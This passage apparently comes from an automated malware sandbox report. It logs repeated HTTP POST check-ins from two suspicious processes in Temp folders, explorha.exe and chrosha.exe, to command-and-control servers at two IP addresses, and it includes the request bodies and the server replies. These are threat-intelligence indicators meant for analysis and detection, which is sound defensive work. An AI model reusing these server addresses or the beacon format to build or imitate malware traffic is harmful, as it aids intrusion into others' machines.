Apr 18, 2024 23:40:47.852639914 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:48.097816944 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49875	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:47.620266914 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:47.871439934 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:47.872245073 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:48.125658035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49876	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:48.455255985 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:48.698055983 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:48.698754072 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:48.946084976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49877	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:48.500924110 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:48.752502918 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:48.753339052 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:49.009210110 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49878	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:49.414439917 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:49.663460016 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:49.667655945 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:49.921422958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49879	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:49.559438944 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:49.806966066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:49.866008043 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:50.117600918 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49885	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:50.342380047 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:50.585695982 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:50.588951111 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:50.837208986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49887	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:50.848623037 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:51.096607924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:51.097533941 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:51.350132942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49889	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:51.214649916 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:51.454621077 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:51.460560083 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:51.705638885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49892	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:51.718560934 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:51.963022947 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:51.971048117 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:52.225645065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49893	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:52.064480066 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:52.313783884 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:52.315798044 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:52.569294930 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49895	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:52.579648018 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:52.824629068 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:52.825372934 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:53.071738005 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49898	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:52.931000948 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:53.173569918 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:53.174247026 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:53.421662092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
